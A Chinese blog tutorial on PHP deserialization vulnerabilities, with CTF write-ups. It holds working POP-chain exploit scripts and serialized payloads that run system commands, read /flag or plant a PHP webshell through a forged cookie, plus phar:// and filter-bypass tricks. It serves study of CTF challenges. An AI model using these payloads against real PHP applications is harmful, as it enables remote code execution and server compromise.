php反序列化

Last updated on September 27, 2024 am

基础

介绍

类是定义一系列属性和操作的模板,而对象就是把属性进行实例化,完事交给类里面的方法进行处理。

序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。

反序列化则相反将字符串重新恢复成对象

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class animal{
public $name='dahuang';
public function sleep(){
echo $this->name."is sleeping...\n"; }
}
$dog=new animal();
$dog->sleep();
$tmp=serialize($dog);
var_dump($tmp);
var_dump(unserialize($tmp));
?>

运行结果

1
2
3
4
5
6
dahuangis sleeping...
string(42) "O:6:"animal":1:{s:4:"name";s:7:"dahuang";}"
class animal#2 (1) {
public $name =>
string(7) "dahuang"
}

上述简单的代码中,定义了一个animal类,在animal类中定义了一个$name变量和一个sleep方法;然后对animal类实例化,创建一个dog对象,通果dog对象调用sleep方法,输出。将类数列化之后输出,将序列化反序列化后输出。

要想实现反序列化漏洞,就必须有unserilize()并且参数可控和魔法函数

三种权限的属性序列化

public

public的属性,可以在类外面和里面访问,序列化后的值就是属性的名称和对应的值

O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}

解读:O代表这是一个对象,4代表对象名称的长度,2代表成员个数。大括号中分别是:属性名类型、长度、名称;值类型、长度、值。

private

private的属性,只能在类里面访问,序列化后的值为%00类名%00属性名

O:4:"Test":2:{s:4:"%00Test%00test";s:2:"ok";s:3:"%00Test%00var";N;}

protected

protected的属性,只能在本类、子类、父类中访问,序列化后的值为%00*%00属性名

O:4:"Test":2:{s:4:"%00*%00test";s:2:"ok";s:3:"%00*%00var";N;}

对于private和protected 序列化之后需要进行urlencode(),不然空白符会丢

魔法函数

以下代码体验一下各种魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# 设置一个类A
class A{
private $name = "V0W";
function __construct()
{
echo "__construct() call\n";
}

function __destruct()
{
echo "\n__destruct() call\n";
}

function __toString()
{
return "__toString() call\n";
}
function __sleep()
{
echo "__sleep() call\n";
return array("name");
}
function__wakeup()
{
echo "__wakeup() call\n";
}
function __get($a)
{
echo "__get() call\n";
return $this->name;
}
function __set($property, $value)
{ echo "\n__set() call\n";
$this->$property = $value;
}
function __invoke()
{
echo "__invoke() call\n";
}
}
//调用 __construct()
$a = new A();

//调用 __toSting() //file_exists函数也能够触发__toString
echo $a;

//调用 __sleep()
$b = serialize($a);
echo $b;
//调用 __wakeup()
$c = unserialize($b);
echo $c;
//不存在这个bbbb属性,调用 __get()
echo $a->bbbb;

//name是私有变量,不允许修改,调用 __set()
$a->name = "pro";
echo $a->name;
//将对象作为函数,调用 __invoke()
$a();

//程序结束,调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)
?>

若为了防止调用__wakeup,可以用CVE-2016-7124绕过

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

ArrayAccess接口

ArrayAccess接口定义了4个方法offsetGet、offsetSet、offsetExists 和 offsetUnset

继承ArrayAccess接口的类当出现一下四种情况会分别调用相应的方法

  • 用于获取数组中的元素值。当使用类似$obj[$key]的方式访问对象属性时,会触发offsetGet
  • 用于给数组中的元素赋值。会触发offsetSet
  • 当使用issetempty检查对象属性是否存在时,会触发offsetExists
  • 当使用unset删除对象属性时,会触发当使用unset删除对象属性时

pop链构造

构造思路

  1. 起点
  2. 跳板
  3. 代码执行

链尾一般是有漏洞的函数,或者利用获取flag 的函数,可以从链尾反推,断了就可以正推,从必然会执行的函数可以推起

过滤

hex绕过

得到序列化后的字符串后,手动把要编码的字符改为\十六进制

反序列化中为了避免信息丢失,使用大写S支持字符串的编码

s:8:"flag.php"->S:8:"\66lag.php"

开头被过滤

https://www.cnblogs.com/HexNy0a/articles/16932108.html

php可反序列化类型有String,Integer,Boolean,Null,Array,Object

若过滤'/O:\d:/'则可以通过O:+数字xxx绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class c{
public $code = 'whoami';
function __wakeup() {
system($this->code);
}
}

// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';

// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';

// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';

// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';

// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';

// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

php7.3.4nts来执行php file,不然执行完还是以O开口(对于本人的环境)

特殊

1
2
3
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
$this->openstack->neutron === $this->openstack->nova

$heat未知,当this->docker=null时条件成立。

session 反序列化

有三种处理器(在php.ini中设置或者通过ini_set进行设置)

处理器 对应的存储格式
php(默认) 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容

而且设置了ini_set,之在有设置的脚本上才会起作用,其他没有设置的脚本还是用的默认配置,这里就会到时反序列化的攻击

也就是当网站序列化并存储Session与反序列化并读取Session的方式不同时就可能导致session反序列化漏洞的产生

比如,先设置成php_serialize ,进行存储时,将序列化的字符串O:6:"Pisces":2:{s:7:"romance";N;s:7:"fantasy";R:2;}前面再加|变成|O:6:"Pisces":2:{s:7:"romance";N;s:7:"fantasy";R:2;},这个字符串会被再次序列化进行存储变成a:1:{s:2:"m7";s:52:"|O:6:"Pisces":2:{s:7:"romance";N;s:7:"fantasy";R:2;}";}

另一个脚本解析时用的是默认的php处理器,会把{s:2:"m7";s:52:"当成键名,O:6:"Pisces":2:{s:7:"romance";N;s:7:"fantasy";R:2;}";}当成要反序列化的内容,所以直接成功执行我们自己构造的链子

可变函数调用双重反序列化

通常反序列化都是利用魔术方法进行函数调用,但也可以通过反序列化指定要调用的普通方法(利用数组

可变函数是指,函数名是一个变量,然后后面加():$fun()

例如

1
2
3
4
5
6
7
8
9
10
11
<?php
class A{
public $key;
public function readflag(){
echo "flag";
}
}
$a = new A();
$b = [$a, "readflag"];
$b(); //数组可以调用指定的方法
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php


class Cancer
{
public $key;

public function __destruct()
{
printf("%s\n", __METHOD__);
unserialize($this->key)();
}
}

class GetFlag
{
public $code;
public $func;
public function __construct()
{
$this->code='}system("cat /flag");//';
$this->func="create_function";
}
public function create()
{
printf("%s\n", __METHOD__);
$a = $this->func;
$a('', $this->code);
}
}


$c=new Cancer();
$g=new GetFlag();
$arr = [new GetFlag(), 'create'];
$c->key=serialize($arr);
print_r(serialize($c));

phar反序列化

可以在phar这个压缩文件中存储一个对象,当这个压缩文件被PHP读取时,就会反序列化这个对象(一般要结合文件上传,上传的后缀可不是.phar,可以是其他,一样可以反序列化)

能够造成反序列化的函数

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile
exif_thumbnail exif_imagetype imageloadfont imagecreatefromxxx
hash_hmac_file hash_file hash_update_file md5_file
sha1_file get_meta_tags get_headers getimagesize
getimagesizefromstring zip Bzip / Gzip Postgres
MySQL

https://evalexp.top/p/64706/

php代码生成带有对象的PHAR文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Aquarius
{
public function __wakeup()
{
printf("%s\n", __METHOD__);
echo file_get_contents('/flag');
}

}
$a = new Aquarius();
$phar = new Phar('A.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','test'); //添加压缩文件
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //如果有文件头检测可以加上文件头
$phar->setMetadata($a);
//自动计算签名
$phar->stopBuffering();

运行时需要将phar.readOnly设为Off,上面的类要根据题目修改,

将文件上传后,结合函数fiel_get_contents,file_exist这些文件操作函数进行文件包含

1
phar://uploads/A.phar/test.txt

phar被过滤

1
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

反序列化字符逃逸

明显特征时有反序列化函数并且对序列化字符串进行替换

逃逸可以实现修改属性的值

替换后字符串变长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
// echo serialize($AA)."\n";$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;
?>
#O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}

反序列化字符串都是以一";}结束的,所以如果把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。

反序列化时字符串取的长度由s后面的数字决定,修改长度会把那些闭合符号都当成字符串去读取

字符逃逸利用方法:

比如要将$pass的值变长hacker

先构造pass的值为hacker的序列化字符串s:4:"pass";s:6:"hacker"

进行前后闭合";s:4:"pass";s:6:"hacker";}

计算这个串的长度27

计算每次替换会多出的字符数1,填充27/1=27个字符

然后把值赋给在前一个相邻的变量

有两个变量就能实现

所以$name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}'

序列化变成O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

写个小脚本

1
2
3
4
5
6
7
8
9
<?php
$var_name='pass'; #输入要修改的变量名
$value='hacker'; #输入要修改为的值
$str='";s:'.strlen($var_name).':"'.$var_name.'";s:'.strlen($value).':"'.$value.'";}';
$replaced_value='bb';
$replace_value='ccc';
$str=str_repeat($replaced_value,strlen($str)/(strlen($replace_value)-strlen($replaced_value))).$str;
print($str);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function filter($str){
return str_replace('CTF', 'hacker', $str);
}
class A{
public $name='aaaa';
public $phone='123';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$escape=get_object_vars(unserialize(filter(serialize($AA)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['$pass']));
}
?>

要修改pass的值,这里需要确保phone是数组的结果,所以不能通过给phone赋值,否则会破坏掉数组结构,所以要通过给name赋值来改

先正常赋值打印出正常的序列化结果

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $name='aaaa';
public $phone=Array('1'=>2);
public $email='123456';
}
$AA=new A();
echo serialize($AA)."\n";

O:1:"A":3:{s:4:"name";s:4:"aaaa";s:5:"phone";a:1:{i:1;i:2;}s:5:"email";s:6:"123456";}

利用小脚本进行替换

1
2
3
4
5
6
7
8
9
10
<?php
$var_name='email'; #输入要修改的变量名
$value='/flag'; #输入要修改为的值
$str='";s:'.strlen($var_name).':"'.$var_name.'";s:'.strlen($value).':"'.$value.'";}';
$replaced_value='CTF';
$replace_value='hacker';
$str=str_repeat($replaced_value,strlen($str)/(strlen($replace_value)-strlen($replaced_value))).$str;
print($str);
?>
CTFCTFCTFCTFCTFCTFCTFCTFCTF";s:5:"email";s:5:"/flag";}

把phone的序列化结果拿下来

1
";s:5:"phone";a:1:{i:1;i:10;}s:5:"email";s:5:"/flag";}

长度为54,每一个CTF可以加长度3,所以需要18个CTF

1
name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTF";s:5:"phone";a:1:{i:1;i:10;}s:5:"email";s:5:"/flag";}

替换后字符串变短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function str_rep($string){
return preg_replace( 'test','', $string);
}

$test['name'] = 'whoami';
$test['sign'] = 'hello';
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
#a:3:{s:4:"name";s:6:"whoami";s:4:"sign";s:5:"hello";s:6:"number";s:4:"2020";}

字符逃逸利用方法:

比如将number的值换成hacker

先构造number的值为hacker的序列化字符串s:6:"number";s:6:"hacker"

后面加上闭合;s:6:"number";s:6:"hacker";},

先把number的值填为上面的字符串进行序列化

计算序列化后前一个变量的值第二个引号开始到要修改的变量的值的第一个引号前的长度20

每次替换会少4个字符,所以需要填充20/4=5个test

将5个test填到前一个相邻的变量上

再序列化变为a:3:{s:4:"name";s:6:"whoami";s:4:"sign";s:20:"";s:6:"number";s:28:";s:6:"number";s:6:"hacker";}";}

再写个脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$var_name='number'; #输入要修改的变量名
$value='hacker'; #输入要修改为的值
$str=';s:'.strlen($var_name).':"'.$var_name.'";s:'.strlen($value).':"'.$value.'";}';
$replaced_value='test';
$replace_value='';
$rep_len=strlen('";s:'.strlen($var_name).':"'.$var_name.'";s:'.strlen($str).':');
$rep_str=str_repeat($replaced_value,$rep_len/(strlen($replaced_value)-strlen($replace_value)));
print($rep_str."\n");
print($str);
?>

引用反序列化

PHP序列化中的R与r

  • 序列化中的R表示对另一个对象的引用
  • 序列化中的r表示对和自身对象相同的对象进行引用

R后面的数字表示所引用的对象在序列化串中第一次出现的位置,例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("/flag");
}

public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
1
O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

clazz的编号是1,a的编号是2,所以b是对a的引用

https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/

https://eastjun.top/posts/php_unserialize_tricks/

绕过对R后数字的限制

有时候会过滤序列化字符串中R后面的数字,比如不让用R:2,R:3之类的,只需要在前面加一个对象改到R:4,R:5…就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class a
{
public function __get($a)
{
$this->b->love();
}
}

class b
{
public $d=1;
public $e=2;
public function __destruct()
{
$tmp = $this->c->name;
}
public function __wakeup()
{
$this->c = "no!";
$this->b = $this->a;
}
}

class xk
{
public function love()
{
system($_GET['a']);
}
}

// if(preg_match('/R:2|R:3/',$_GET['pop'])){
// die("no");
// }

// unserialize($_GET['pop']);

$x=new xk();
$A=new a();
$B=new b();
$B->c= &$B->b;
$B->a=$A;
$A->b=$x;

print_r(serialize($B));

// O:1:"b":5:{s:1:"d";i:1;s:1:"e";i:2;s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}

多文件反序列化利用

在项目中类往往不会只写在一个文件里面,而且输入也不会说和这些类在一个文件,因此反序列化漏洞往往不会只是一个文件就能够完成构造,而是需要用到多个文件,多个类,那么如何从拥有几百甚至几千个文件的项目中快速挖掘出反序列化的pop链呢?首先要了解几个概念。

基础

命名空间

https://www.php.net/manual/zh/language.namespaces.rationale.php

什么是命名空间?从广义上来说,命名空间是一种封装事物的方法。在很多地方都可以见到这种抽象概念。例如,在操作系统中目录用来将相关文件分组,对于目录中的文件来说,它就扮演了命名空间的角色。具体举个例子,文件 foo.txt 可以同时在目录 /home/greg/home/other 中存在,但在同一个目录中不能存在两个 foo.txt 文件。另外,在目录 /home/greg 外访问 foo.txt 文件时,我们必须将目录名以及目录分隔符放在文件名之前得到 /home/greg/foo.txt。这个原理应用到程序设计领域就是命名空间的概念。

在 PHP 中,命名空间用来解决在编写类库或应用程序时创建可重用的代码如类或函数时碰到的两类问题:

  1. 用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突。
  2. 为很长的标识符名称(通常是为了缓解第一类问题而定义的)创建一个别名(或简短)的名称,提高源代码的可读性。

命名空间名称大小写不敏感。

名为 PHP 的命名空间,以及以这些名字开头的命名空间 (例如 PHP\Classes)被保留用作语言内核使用, 而不应该在用户空间的代码中使用。

命名空间通过关键字 namespace 来声明。

1
2
3
4
5
<?php
namespace MyProject;

...
?>
子命名空间
1
2
3
<?php
namespace MyProject\Sub\Level;
?>
一个文件定义多个命名空间

直接写,不同命名空间下可以用相同的类名、函数名等

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

namespace AnotherProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
?>

也可以用大括号语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace AnotherProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}
?>
命名空间的使用
  • 非限定名称

类比相对文件名形式,例如 $a=new foo();foo::staticmethod();。如果当前命名空间是 currentnamespace,foo 将被解析为 currentnamespace\foo

  • 限定名称

类比相对路径名形式,例如 $a = new subnamespace\foo();subnamespace\foo::staticmethod();。如果当前的命名空间是 currentnamespace,则 foo 会被解析为 currentnamespace\subnamespace\foo

  • 完全限定名称

类比绝对路径名形式, $a = new \currentnamespace\foo();\currentnamespace\foo::staticmethod();

命名空间别名声明

别名是通过操作符 use 来实现的,通常是为了创建一个别名(或简短)的名称,提高源代码的可读性。

1
use My\Full\NSname; //与use My\Full\NSname as NSname相同

链子挖掘

既然是反序列化漏洞,那就肯定先找unserialize函数,通过全局搜过就可以(能够漏洞利用首先需要unserialize的参数可控)

接着找反序列入口__destruct,接下来就根据__destruct中能够触发的魔法函数找下个类,比如能出发__call,那就直接全局搜索__call,找到对应的类,以此类推,知道找到能利用的点。

例子:NKCTF 2024 用过就是熟悉

只讲链子构造部分

搜索unserialize,找到反序列化入口,而且参数可控

搜索__destruct,有多个,一个一个看,里面有函数可以跟进去,一般是要找那种$this->属性->调用的形式,这样把他的属性赋值成其他类就可以链起来

跟进removeFiles,$this->files当成字符串拼接,可以触发toString,搜素toString

跟进$this->toJson,跟进$this->toArray()

访问一个不存在的属性就会调用__get,全局搜索__get

调用不存在的方法可以触发__call,全局搜索__call

这样就找到了利用点,把刚才用到的类都写出来(命名空间根据项目里面写的照抄就行),然后根据条件赋值

链子就是Windows->Collection->View->Testone抽象类要调用他的实现类,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace think\process\pipes;
use think\Process;
class Windows {
private $files;
public function __construct()
{
$this->files=array(new \think\Collection());
}
}

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection{
protected $items;
public function __construct()
{
$this->items=new \think\View();
}
}

namespace think;

class View
{
protected $data;
public $engine;
public function __construct()
{
$this->data=array("Loginout"=>new \think\Debug);
$this->engine=array("time"=>"10086");
}
}

namespace think;

use think\exception\ClassNotFoundException;
use think\response\Redirect;

class Debug extends Testone
{
}


namespace think;
abstract class Testone
{

}


// use think\process\pipes\Windows;
$w=new \think\process\pipes\Windows();
print_r(serialize($w));

?>

[NISACTF 2022]babyserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

先代码审计,看到NISA类有一个提示函数

1
2
3
4
5
6
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

先弄出来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup() #反序列化,可以得到提示
{
if($this->fun=="show_me_flag"){
hint();
}
}
$n=new NISA();
echo urlencode(serialize($n));

//O%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A12%3A%22show_me_flag%22%3Bs%3A8%3A%22txw4ever%22%3BN%3B%7D

得到hint:flag is in /

接着构造pop链:

NISA__invoke()方法有 @eval($this->txw4ever);这里可以进行rce,所以txw4ever可以赋值"system(‘ls /’)"

要想调用到__invoke(),需要将对象当成函数使用,可以发现Ilovetxw__toString()里面有$bb(),所以要让$bb=new NISA();,即this->su=new NISA();

要想调用__toString()需要将对象当成字符串使用,可以发现four__set()里面有strtolower($this->a),所以要让$this->a=new Ilovetxw();

要想调用__set()需要访问到对象的私有属性,可以发现Ilovetxw__call()里面有$this->huang->fun=$arg[0],fun刚好是four的私有属性,所以要让this->huang=new four();

要想调用__call()需要在对象中调用不存在的方法,可以发现TianXiWei__wakeup()里面有$this->ext->nisa($this->x);nisaIlovetxw中没有的方法,所以要让this->ext=new Ilovetxw();

最后反序列化时自动会调用到TianXiWei__wakeup()

而且为了让NISA__wakeup()不被调用,NISAfun不能为show_me_flag

测试后发现system被过滤了,可以用大写绕过System

最终poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class NISA{
public $fun;
public $txw4ever="System('ls /');"; //System('cat /fllllllaaag')
}

class TianXiWei{
public $ext;
public $x;
}

class Ilovetxw{
public $huang;
public $su;

}

class four{
public $a="TXW4EVER";
private $fun='abc';
}
// $n=new NISA();
// echo urlencode(serialize($n));
$t=new TianXiWei();
$t->ext=new Ilovetxw();
$t->ext->huang=new four();
$t->ext->huang->a=new Ilovetxw();
$t->ext->huang->a->su=new NiSA();
echo urlencode(serialize($t));

#NSSCTF{8c286f51-8bd2-4c57-bdd8-a0da94e8975d}

[强网杯 2019]Upload

大致浏览一下网页,发现有注册,登录,文件上传,查看文件几个页面,再随便看看有什么可以信息收集

发现注册之后有一个cookie

base64解码后得到

1
a:5:{s:2:"ID";i:11;s:8:"username";s:1:"q";s:5:"email";s:8:"q@qq.com";s:8:"password";s:32:"7694f4a66316e53c8cdd9d9954bd611d";s:3:"img";N;}

可以看到是一个序列化的字符串,记录了username,email,password,而且password似乎是md5

上传文件后cookie变成了

1
a:5:{s:2:"ID";i:11;s:8:"username";s:1:"q";s:5:"email";s:8:"q@qq.com";s:8:"password";s:32:"7694f4a66316e53c8cdd9d9954bd611d";s:3:"img";s:79:"../upload/f9e1016a5cec370aae6a18d438dabfa5/a7c3ce076585477741d951d179ab07dc.png";}

尝试传图片马没什么用,然后就没什么思路了

用dirsearch扫一扫,果然有发现,扫到了源码www.tar.gz

解压发现是thinkphp5的框架

然后就是代码审计,按照页面操作的流程来

先是register,在application/web/controller/Register.php可以看到源码

大致逻辑是:检查是否登录,判断是否输入用户名,合理邮箱,密码,没有的话回到index页面

然后login,大致逻辑是:确定是否登录,这里是通过cookie来检查的。

文件上传大致逻辑:做一下后缀限制以及修改成文件名并只存储png

总结一下:有文件上传,一般是上传图片马来攻击,但是这里传上去的只能是图片,解析不了,比以往不同的是这里多了cookie,而且cookie会进行反序列化,重要的是cookie是我们能修改的,所以思路应该是利用反序列化来修改文件存储的名称

这里主要是以为这些类不能相互利用会被卡住,其实直接看普通类反序列化漏洞就行,而且平时反序列化的题目最终是进行rce,而这里是为了调用upload_img,来修改文件保存的名称

所以先传一个图片马写入webshell,然后修改cookie,再蚁剑连接

直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
namespace app\web\controller;

use think\migration\command\migrate\Run;

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
public function upload_img()
{
return '';
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}

$profile=new Profile();
$register=new Register();
$register->checker=$profile;
$register->registed=false;
$profile->filename_tmp='./upload/f9e1016a5cec370aae6a18d438dabfa5/e59db807b2efbb8cadad694d9d1e8c91.png';
$profile->filename='./upload/1.php';
$profile->ext='png';
$profile->img='upload_img';
$profile->except=["index"=>'img'];
echo urlencode(base64_encode(serialize($register)));


?>
1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC9mOWUxMDE2YTVjZWMzNzBhYWU2YTE4ZDQzOGRhYmZhNS9lNTlkYjgwN2IyZWZiYjhjYWRhZDY5NGQ5ZDFlOGM5MS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTQ6Ii4vdXBsb2FkLzEucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7TjtzOjM6ImV4dCI7czozOiJwbmciO3M6MzoiaW1nIjtzOjEwOiJ1cGxvYWRfaW1nIjtzOjY6ImV4Y2VwdCI7YToxOntzOjU6ImluZGV4IjtzOjM6ImltZyI7fX1zOjg6InJlZ2lzdGVkIjtiOjA7fQ%3D%3D

得到cookie值,修改cookie进行访问,然后就可以蚁剑连接/upload/1.php

2021Xp0int新生赛easy-unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);

class getflag
{
public $file;

public function __destruct()
{
if ($this->file === "flag.php") {
echo file_get_contents($this->file);
}
}
}

class tmp
{
public $str1;
public $str2;

public function __construct($str1, $str2)
{
$this->str1 = $str1;
$this->str2 = $str2;
}

}

$str1 = $_POST['str1'];
$str2 = $_POST['str2'];
$data = serialize(new tmp($str1, $str2));
$data = str_replace("easy", "ez", $data);
unserialize($data);
1
2
$str1 = 'easyeasyeasyeasyeasyeasyeasyeasyeasy';
$str2 = ';s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}';

修复

可以在命令执行的那个类禁止反序列化,添加wakeup函数,当然这只是对于不能绕过__wakeup的php版本有效

1
2
3
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}

参考资料

反序列化字符逃逸

反序列化靶场


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/02/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!